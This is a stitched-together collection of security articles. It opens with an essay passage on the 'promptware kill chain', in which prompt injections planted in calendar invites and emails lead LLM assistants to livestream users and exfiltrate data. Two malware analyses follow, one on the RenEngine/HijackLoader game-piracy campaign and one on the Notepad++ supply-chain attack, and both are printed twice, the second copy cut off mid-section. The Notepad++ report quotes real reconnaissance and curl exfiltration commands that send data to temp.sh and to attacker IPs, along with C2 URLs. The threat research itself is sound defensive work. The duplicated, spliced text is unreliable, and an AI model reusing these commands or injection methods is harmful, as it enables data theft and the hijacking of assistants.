The kill chain was already demonstrated. For example, in the research “Invitation Is All You Need,” attackers achieved initial access by embedding a malicious prompt in the title of a Google Calendar invitation. The prompt then leveraged an advanced technique known as delayed tool invocation to coerce the LLM into executing the injected instructions. Because the prompt was embedded in a Google Calendar artifact, it persisted in the long-term memory of the user’s workspace. Lateral movement occurred when the prompt instructed the Google Assistant to launch the Zoom application, and the final objective involved covertly livestreaming video of the unsuspecting user who had merely asked about their upcoming meetings. C2 and reconnaissance weren’t demonstrated in this attack.
Similarly, the “Here Comes the AI Worm” research demonstrated another end-to-end realization of the kill chain. In this case, initial access was achieved via a prompt injected into an email sent to the victim. The prompt employed a role-playing technique to compel the LLM to follow the attacker’s instructions. Since the prompt was embedded in an email, it likewise persisted in the long-term memory of the user’s workspace. The injected prompt instructed the LLM to replicate itself and exfiltrate sensitive user data, leading to off-device lateral movement when the email assistant was later asked to draft new emails. These emails, containing sensitive information, were subsequently sent by the user to additional recipients, resulting in the infection of new clients and a sublinear propagation of the attack. C2 and reconnaissance weren’t demonstrated in this attack.
The promptware kill chain gives us a framework for understanding these and similar attacks; the paper characterizes dozens of them. Prompt injection isn’t something we can fix in current LLM technology. Instead, we need an in-depth defensive strategy that assumes initial access will occur and focuses on breaking the chain at subsequent steps, including by limiting privilege escalation, constraining reconnaissance, preventing persistence, disrupting C2, and restricting the actions an agent is permitted to take. By understanding promptware as a complex, multistage malware campaign, we can shift from reactive patching to systematic risk management, securing the critical systems we are so eager to build.
This essay was written with Oleg Brodt, Elad Feldman and Ben Nassi, and originally appeared in Lawfare.
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”
Game download page
When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.
Placeholder with the download screen
“Game” source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”
Game download page
When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.
Placeholder with the download screen
“Game” source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
